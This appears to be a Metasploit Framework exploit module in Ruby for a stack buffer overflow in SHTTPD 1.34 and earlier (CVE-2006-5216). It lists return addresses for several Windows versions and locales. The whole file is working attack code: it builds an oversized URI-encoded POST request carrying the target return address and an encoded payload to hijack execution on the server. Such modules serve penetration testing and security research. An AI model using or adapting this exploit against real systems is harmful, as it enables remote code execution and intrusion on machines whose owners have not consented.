86 lines
2.4 KiB
Ruby
86 lines
2.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)',
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'Description' => %q{
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This module exploits a stack buffer overflow in SHTTPD <= 1.34.
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The vulnerability is caused due to a boundary error within the
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handling of POST requests. Based on an original exploit by skOd
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but using a different method found by hdm.
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},
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'Author' => [ 'LMH <lmh [at] info-pull.com>', 'hdm', 'skOd'],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2006-5216'],
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[ 'OSVDB', '29565' ],
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[ 'URL', 'http://shttpd.sourceforge.net'],
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[ 'BID', '20393'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Except for Spanish locale target, all come from:
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# http://metasploit.com/users/opcode/msfopcode.cgi
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[ 'Windows NT English SP5-SP6', { 'Ret' => 0x776a183a } ],
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[ 'Windows 2000 Spanish SP4', { 'Ret' => 0x79496391 } ],
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[ 'Windows 2000 French SP4', { 'Ret' => 0x74fb108d } ],
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[ 'Windows 2000 English SP0-SP4', { 'Ret' => 0x75021421 } ],
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[ 'Windows 2000 French SP0-SP4', { 'Ret' => 0x74fa3144 } ],
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[ 'Windows 2003 Server English SP0-SP1', { 'Ret' => 0x77d877d3 } ],
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[ 'Windows XP German SP2', { 'Ret' => 0x71a02975 } ],
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[ 'Windows XP German SP1', { 'Ret' => 0x71a02a6a } ],
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[ 'Windows XP English SP2', { 'Ret' => 0x71aa1e08 } ],
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[ 'Windows XP English SP0-SP1', { 'Ret' => 0x71aa1aaa } ],
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],
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'DisclosureDate' => 'Oct 6 2006'))
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register_options(
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[
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Opt::RPORT(80)
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], self.class )
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end
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def exploit
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connect
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pat = rand_text_alphanumeric(4000)
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pat[8,4] = [target.ret].pack('V')
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pat[103, payload.encoded.length] = payload.encoded
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pat = Rex::Text.uri_encode(pat)
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res = "post /#{pat} HTTP/1.0\r\n\r\n"
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print_status("Trying target address 0x%.8x..." % target.ret)
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sock.put(res)
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sock.close
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handler
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disconnect
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end
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end
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